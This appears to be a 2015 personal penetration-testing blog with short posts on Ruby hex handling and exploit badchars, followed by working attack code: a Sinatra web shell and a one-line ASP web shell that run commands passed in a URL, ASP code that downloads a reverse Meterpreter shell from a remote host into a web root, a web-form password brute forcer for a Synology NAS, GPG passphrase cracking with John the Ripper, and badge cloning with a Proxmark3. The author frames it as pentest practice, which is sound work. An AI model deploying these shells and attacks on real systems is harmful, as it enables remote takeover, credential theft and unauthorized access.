Wednesday, October 28, 2015

Dealing with Hex in Ruby

Dealing with Hex numbers in Ruby is actually very simple once you understand whats going on underneath.

(Disclaimer: I am no Ruby expert, or even close. The following is simply my understanding of how things work)

Hexidecimal, Decimal, Octal, and Binary are all in the same group. Since they are all different ways of representing the same number, Ruby will show you the decimal representation of the number whenever you deal with things by default.
"A".ord
=> 65
"B".ord
=> 66

(as we talk about things, go ahead and "man ascii" to bring up the tables)
If you check the tables, 65 and 66 are the decimal representations of A and B. This is why I said earlier that Ruby deals with the decimal representation by default.

So how do I convert "A" and "B" to their hexidemical representations? (which is "41" and "42" from the ascii table)? Well it turns out there are several ways, but here are the two i use most:

You can simply use Fixnum's to_s method and tell it the output should be in base 16 (also works for any other base)
"A".ord.to_s(16)
=> "41"
"B".ord.to_s(16)
=> "42"

Or the slightly uglier version by using printf formatting:
"%x" % "A".ord
=> "41"
"%x" % "B".ord
=> "42"

OK well thats all well and good but what if I have the hex/octal/binary/decimal representation of something and i want to convert it to it's ASCII value?

So you remember how i said that ruby tends to deal with the decimal representation of numbers? Ruby gives a handy syntax for you to use when you tell it to deal with a certain number:

Hex: 0x41 = 65 in decimal = "A" in ASCII
Binary: 0b1000001 = decimal 65 = "A" in ASCII
Octal: 0o101 = 65 in decimal = "A" in ASCII
Decimal: 0d65 = 65 in decimal (dur) = "A" in ASCII

So thats how you tell ruby what kind of number your dealing with. Ruby reads whatever you types, convert it to decimal, and then does it's ruby magic on it.

So you can use Fixnum's chr method to convert from the hex/oct/bin/dec value you supply, to it's ASCII representation
0x41
=> 65
0x41.chr
=> "A"

0x42
=> 66
0x42.chr
=> "B"

The nice thing is that since ruby converts everything to decimal, you can do cool things with ranges. You can tell ruby to start at one hex value, increment to an octal value, and output each one as it's ASCII representation:
(0x59..0o143).each do |num|
  puts num.chr
end

Result:
Y
Z
[
\
]
^
_
`
a
b
c

Monday, October 5, 2015

[Exploit Writing] Badchars

When writing exploits, it's important to figure out which hex values wont get passed through to memory addresses and which will screw up your shellcode. Below is a simple listing of \x00 to \xff and some stupid ruby code to accomplish it:

\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff


Crappy Ruby Code:

(0..255).each do |val|
printf "\\x" + val.to_s(16).rjust(2,'0')
end

Found a shorter way:
(0x00..0xff).each do |num|
  printf "\\x%02x" % num
end

Wednesday, September 23, 2015

Super Simple Sinatra Web Shell


require 'sinatra'

get '/command/:cli' do
  `#{params['cli']}`
end

To execute the command you can run:

curl -v TARGET:80/command/COMMANDHERE

In order to run commands with spaces or special chars, such as "ps aux | grep blah" then you need to URL encode the command first.

Tuesday, August 25, 2015

Testing for Microsoft Exchange Autodiscover Internal IP Disclosure

So it turns out that if you request your targets autodiscover xml file without specifying a host, it will put in its internal IP into the "Realm" response header. One important thing that people done seem to mention is that you need to request the xml file using HTTP 1.0 not the default of 1.1. Below is the curl line i tend to use to test for it:
curl -i -k https://targetip/autodiscover/autodiscover.xml -0 -H "Host:"
HTTP/1.1 401 Unauthorized
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-SOAP-Enabled: True
X-WSSecurity-Enabled: True
X-WSSecurity-For: None
X-AspNet-Version: 2.0.50727
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Basic realm="192.168.50.30"
X-Powered-By: ASP.NET
Connection: close
Content-Length: 58
If you exclude the -0 (to use http 1.0) you will get a 400 bad request.
If your request includes something in the Host header, the server will place that in the Realm header instead of the internal IP.

Friday, August 21, 2015

Cracking GPG key passwords using John The Ripper

Did you get your hands on a private key somewhere? Is it asking you for a password if you try to use the key in some way?

Let's talk about how to crack that password so you can use it.

First lets create a key to crack:
$ gpg --gen-key
gpg (GnuPG) 1.4.19; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: jimbo
Email address: jimbo@example.com
Comment: jimbo's key
You selected this USER-ID:
    "jimbo (jimbo's key) <jimbo@example.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
..+++++
..+++++
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
........+++++
.................+++++
gpg: key 7F636DEB marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u
pub   4096R/7F636DEB 2015-08-21
      Key fingerprint = 61B7 3F7E 3A9E A4FB 312C  8E6D 826C 698C 7F63 6DEB
uid                  jimbo (jimbo's key) <jimbo@example.com>
sub   4096R/0AE4F026 2015-08-21

The generation process imports the key automatically, lets view it and make sure it worked by running:
$gpg --list-keys jimbo
pub   4096R/7F636DEB 2015-08-21
uid                  jimbo (jimbo's key) <jimbo@example.com>
sub   4096R/0AE4F026 2015-08-21

Cool, now that we know it generated, lets export it to a file. This is similar to what happens when you come across a priv/pub keypair on a fileshare or something:
$ gpg --export-secret-key --armor jimbo > jimbo.priv
$ ls -l jimbo.priv
-rw-r--r--  1 user  user  6697 Aug 21 11:58 jimbo.priv

Now we have the private key (which actually includes the public inside it as well) in a file. At this point, an attacker would download this file locally and run John The Ripper on it.

The first thing the attacker needs to do is convert it to a john friendly format. The jumbo pack version of jtr has a tool called gpg2john:
$ ./gpg2john asdfgpg.priv > gpghashtest

Then crack like normal with JTR:
$ ./john gpghashtest
Warning: detected hash type "gpg", but the string is also recognized as "gpg-opencl"
Use the "--format=gpg-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1234             (jimbo)
Session completed

Wednesday, August 12, 2015

Running commands through WinRM

I followed both http://blogs.technet.com/b/askperf/archive/2010/09/24/an-introduction-to-winrm-basics.aspx and https://github.com/WinRb/WinRM to get winrm up and working and running remote commands.

WinRM appears to be a soap based shell allowing users/admins to connect in and run commands or scripts or whatever. It's basically a remote administration/management tool. All the tests i performed was on a windows 7 box.

Something to note is that the http port it runs on is 5985, https is on 5986. Neither of these ports are in nmap's default port scan list (top 1000) so unless you are looking for it, you could miss it.

In nmap it shows up as:
Nmap scan report for 192.168.1.118
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

So no super obvious signs that its WinRM listening on the port. I think the only thing you could really go off of is the actual port number and know that its a windows system.

Luckily someone created a ruby library that interacts with WinRM and allows you to connect to it and run commands.

When i first the github example, it was giving me auth issues so i had to run the following to get it to shut up and accept my creds:

winrm set winrm/config/client/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service @{AllowUnencrypted="true"}

Once I ran that on the server, the library stopped giving me auth errors. I was able to run ipconfig on the remote system and it spat back the results.

so yay...

Tuesday, July 14, 2015

One Line ASP Shell

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
Request with http://target/shell.asp?cmd=ipconfig

Write to local file from ASP

I'm currently doing an exercise that requires me to have a server pull a reverse meterpreter asp shell from a remote location and store it to a specific file location on the server filesystem. This is the ASP code I ended up creating:

<%

Function GetTextFromUrl(url)

  Dim oXMLHTTP
  Dim strStatusTest

  Set oXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.3.0")

  oXMLHTTP.Open "GET", url, False
  oXMLHTTP.Send

  If oXMLHTTP.Status = 200 Then

    GetTextFromUrl = oXMLHTTP.responseText

  End If

End Function

Dim sResult : sResult = GetTextFromUrl("http://192.168.50.172/meta.txt")
response.write sResult

dim fs,f
set fs=Server.CreateObject("Scripting.FileSystemObject")
set f=fs.CreateTextFile("C:/Program Files (x86)/WEBSERVERHERE/test.asp",true)
f.write(sResult)
f.close
set f=nothing
set fs=nothing
%>

"http://192.168.50.172/meta.txt" is the meterpreter ASP shell saved as a txt file.

"C:/Program Files (x86)/WEBSERVERHERE/test.asp" is what the meta.txt file will be saved as on the server's filesystem. Ideally you'd save that asp shell to a directory accessible via the web, because simply visiting the .asp file will execute it to reverse connect to your multi handler.

Thursday, January 29, 2015

Writing a web form bruteforcer in Ruby

Testing weak credentials on web application or devices that use web form authentication is a very common and popular thing to do during pentests. A lot of times, you'll come across a device and the only way to interact with the device is via the web interface. A web interface that commonly requires authentication via submitted form fields.

I decided I wanted to write my own bruteforcer for a Synology NAS I happen to have on hand. Now people commonly suggest using Nokogiri to interact and parse webpages. Thats all fine and dandy for the simpler/more straightforward webcode, but when you start getting into web2.0 stuff or if you just dont want to deal with it, I've found that Mechanize helps tremendously.

Below is the final code i came up with. It's fairly simple. It takes in a file called "passlist.txt" which will be the password dictionary file, and for every password in that file it will attempt a login to the login webpage. It will detect the returned response body for a success or failure. (this is mainly meant as a PoC, not as a tool)

require 'rubygems'
require 'mechanize'
#this script will brute force the web form login for a synology nas

passwordlist = File.open("passlist.txt")
agent = Mechanize.new{|a| 
    a.verify_mode = OpenSSL::SSL::VERIFY_NONE
    #a.set_proxy('localhost',8080)
    }
target = 'https://NASIPHere:5001/webman/index.cgi'
user = 'admin'

passwordlist.each do |password|
    page  = agent.get target

    # Fill out the login form
    form          = page.form_with :id => 'login-form'
    form.username = user
    form.passwd   = password.chomp #this is important otherwise the newline will break the auth and everything fails
    result = form.submit

    case
    when result.body =~ /"success" : false/ then puts "Failure with #{password}"
    when result.body =~ /"success" : true/ then puts "SUCCESSFUL LOGIN WITH #{password}"
    else puts "Unknown response body when using \"#{password}\": #{result.body}"
    end
end

Running the script yields the following output:

ruby synology-web-form-brute.rb
Failure with admin
SUCCESSFUL LOGIN WITH yoloswag
Failure with kittens

Again, this is not meant to be fancy/groundbreaking/or anything other than some code to copy and paste if you need to.

(There are a variety of tools that will do the same thing or a very similar attack much faster than this, such as hydra/medusa/burp/etc.)

Tuesday, January 6, 2015

Getting the Proxmark3 working

I recently got a proxmark3 for RFID testing and had to get the environment set up properly. I downloaded the precompiled client tools the manual suggests, but it kept asking for a specific version of GLIBC which i could not find packages for for the life of me. I ended getting their source code off their github and compiling the client tools right there. Works perfectly.

1. Download the 64bit version of kali
2. Set up a virtual machine (or install to disk) with kali on it
3. git clone https://github.com/Proxmark/proxmark3
4. cd into the proxmark3/client directory
5. run make to compile the files
6. call the client interface with ./proxmark3 /dev/ttyACM0 (or whatever device it shows up as for you)


Now it should drop you into the proxmark3 interactive shell. Here you can do things like read basic corporate badges with 'lf hid fskdemod' or play it back with 'lf hid sim codehere' or clone the cards onto physical T55x7 cards.

In any case, here are some important links:
Source: https://github.com/Proxmark/proxmark3
Proxbrute and other utilities: http://www.mcafee.com/us/resources/white-papers/foundstone/wp-proxbrute.pdf
Github Wiki: https://github.com/Proxmark/proxmark3/wiki/commands
User Manual (for my version): http://ryscc.com/products/PM3PRD/dl/PM3-UserGuide-20140401.pdf